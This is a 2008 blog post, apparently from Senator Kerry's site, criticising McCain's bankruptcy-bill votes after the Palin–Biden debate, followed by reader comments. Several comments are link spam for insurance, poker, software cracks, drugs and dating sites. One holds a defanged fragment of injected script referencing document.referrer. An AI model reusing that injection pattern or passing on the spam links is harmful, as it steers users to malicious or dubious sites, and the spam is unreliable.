Foreclosures, Bankruptcy and Sen. McCain’s Voting Record
Gwen Ifill, the moderator of last night's Vice Presidential debate, questioned both candidates on the current financial crisis and it's affects on working Americans. Ifill asked Gov Palin directly about the whether or not she would have agreed with Sen. McCain's vote back in 2005 on the Bankruptcy Bill.
IFILL: Next question, Governor Palin, still on the economy. Last year, Congress passed a bill that would make it more difficult for debt-strapped mortgage-holders to declare bankruptcy, to get out from under that debt. This is something that John McCain supported. Would you have?
PALIN: Yes, I would have.
Gov. Palin went to great lengths to portray herself in folksy terms, often winking at the camera and using homey phrases like, "Now doggone it," This was her attempt to appeal to "Joe Six-Pack" voters, as she styled it, in America. Her sympathies for middle-class voters is limited though, as that quick answer to the question about her support for the Bankruptcy Bill shows.
Sen. Biden, in his response to Gwen Ifill, talked about Sen. Obama's concern over the mortgage market and the rising number of foreclosures:
BIDEN: But here's the deal. Barack Obama pointed out two years ago that there was a subprime mortgage crisis and wrote to the secretary of Treasury. And he said, "You'd better get on the stick here. You'd better look at it."
John McCain said as early as last December, quote -- I'm paraphrasing -- "I'm surprised about this subprime mortgage crisis," number one.
Number two, with regard to bankruptcy now, Gwen, what we should be doing now -- and Barack Obama and I support it -- we should be allowing bankruptcy courts to be able to re-adjust not just the interest rate you're paying on your mortgage to be able to stay in your home, but be able to adjust the principal that you owe, the principal that you owe.
That would keep people in their homes, actually help banks by keeping it from going under. But John McCain, as I understand it -- I'm not sure of this, but I believe John McCain and the governor don't support that. There are ways to help people now. And there -- ways that we're offering are not being supported by -- by the Bush administration nor do I believe by John McCain and Governor Palin.
IFILL: Governor Palin, is that so?
PALIN: That is not so, but because that's just a quick answer,
Well, it was so. Not only did Sen. McCain support the Bankruptcy Bill in 2005, but he voted against nearly every amendment to that bill that sought to protect the rights of "Joe Six-Pack" in a bankruptcy case. Sen. McCain does not support the 2008 Senate measure entitled, "Helping Families Save Their Homes in Bankruptcy Act of 2008," which is what Sen. Biden was referring to in his debate remarks quoted above.(Senator Kerry, along with 13 other Senators including Senator Obama, is a co-sponsor of this amendment that seeks to help people retain their homes and avoid foreclosure.)
Senator McCain has a consistent record of voting to help out the richest Americans when it comes to protecting assets from being seized in bankruptcy proceedings. He voted not once, but twice in 2005 to uphold "asset protection trusts" in bankruptcy cases and is against helping "Joe Six-Pack" Americans when their homes where threatened with foreclosure. Governor Palin seems to disagree with the Senator on this. Maybe she can push him to start showing middle-class Americans the same kind of concern that he shows the wealthy in bankruptcy cases. It does seem heartless to tell millionaires that their 2nd, 3rd or more houses are safe from seizure while telling other Americans that their one and only home is subject to all the penalties of bankruptcy.

17 Comments
New comments for this entry are closed.
Senator Kerry,
Heres a thought. Pass legislation that would allow homeowners to use IRA money to pay down mortgages without the early withdrawal penalty and income taxes. Your home is your biggest investment.
nodcwqu-clbw8kc-tw6q72b1-0 var r = document.referrer; [removed](’<’ + ‘/script>’) black jack
http://urlser.com/?xFj4E#1
insurance quotes
http://free-poker-mo.lookera.net#4
[http://urlser.com/?m6c0v#5 auto insurance]
“life insurance”:http://urlser.com/?boo2X#6
[LINK health]http://urlser.com/?qbKvI#7]health insurance[/LINK]
http://victor.freewebhostingpro.com/1.php
http://victor.freewebhostingpro.com/1.php
I am commenting here because I can’t find a “contact Senator Kerry” button. I just watched the HBO election fraud documentary.
I want to know why you quit...why gave up and conceded your presidental election. When you did, you stopped the process of investigating the fraudulent vote count. You may not answer me, but if you don’t I will have to conclude that either you were in on the fraud, or you made a foolish decision that allowed the Bush administration to drive this country very nearly off the cliff, and may never actually recover.
I am outraged. I am crying. Why did you do it?
To Judy Rodman,
I supported John Kerry for President in 2003 and 2004 and really wish that he would have run again.
I too, believe that we were cheated in the 2004 Election. I know that if the election results in Ohio could have been challenged, that they would have been challenged. You can’t challenge voting machines with no paper trail and those that never got to cast a ballot. I know that a challenge was considered and it was decided that a challenge would not prevail, because of the reasons I just mentioned. We were all cheated, but it is not John Kerry’s fault anymore than it is yours or mine. John Kerry would have been a truly great President an the country and the world would be a much better place today. John Kerry is great U. S. senator and does a lot of good for the people of his state and the entire nation.
aaelk6jxrhffj <a href = http://www.904151.com/438103.html > eq983646x </a> tboid3hqiid 8wubhicu1hux0
Not surprising that people are still blaming only Kerry for what happened on November 3, 2004 instead of the Democratic Party that didn’t back him up.
Interesting 4 years later, Kerry is doing a lot to help Obama get elected and still gets kicked, and slammed on the ground for not doing anything good enough.
movies with katie holmes movies with katie holmes movies with katie holmes http://freewebtown.com/karrybartell/article1412.htm
married woman seeking man married woman seeking man [link=http://georgiannamansf.ibelgique.com/article670.htm]married woman seeking man[/link]
reviews reviews [link=http://syreetashinault.isuisse.com/librvi.html]reviews[/link]
adopt a pug los angeles adopt a pug los angeles [link=http://mitglied.lycos.de/boldaslove20th/adopt-a-pug-los.html]adopt a pug los angeles[/link]
mac no cd cracks mac no cd cracks mac no cd cracks http://lajuanapietrzak.iespana.es/comment-257.htm
triamcinolone acetonide cream triamcinolone acetonide cream triamcinolone acetonide cream http://kacyvos.ibelgique.com/1977.htm
sex date sex date sex date http://mayrafalbo.ibelgique.com/buglifok-1122.html
another brick in the wall videos another brick in the wall videos [link=http://freewebtown.com/lesiamoton/another-brick.html]another brick in the wall videos[/link]
simon birch movie review simon birch movie review simon birch movie review http://bertiecrumble.rihost.us/topic911.htm
rm recorder 10.1 crack rm recorder 10.1 crack rm recorder 10.1 crack http://lizziesilverber.iespana.es/comment-1174.htm
I’m hearing now that you won’t debate your opponent in the current race in Massachusetts. I have been watching on CSpan all the other debates (televised) in every other state. I am hearing that you turned down a televised debate, agreed to a radio debate but are now backing out of that. True? Why?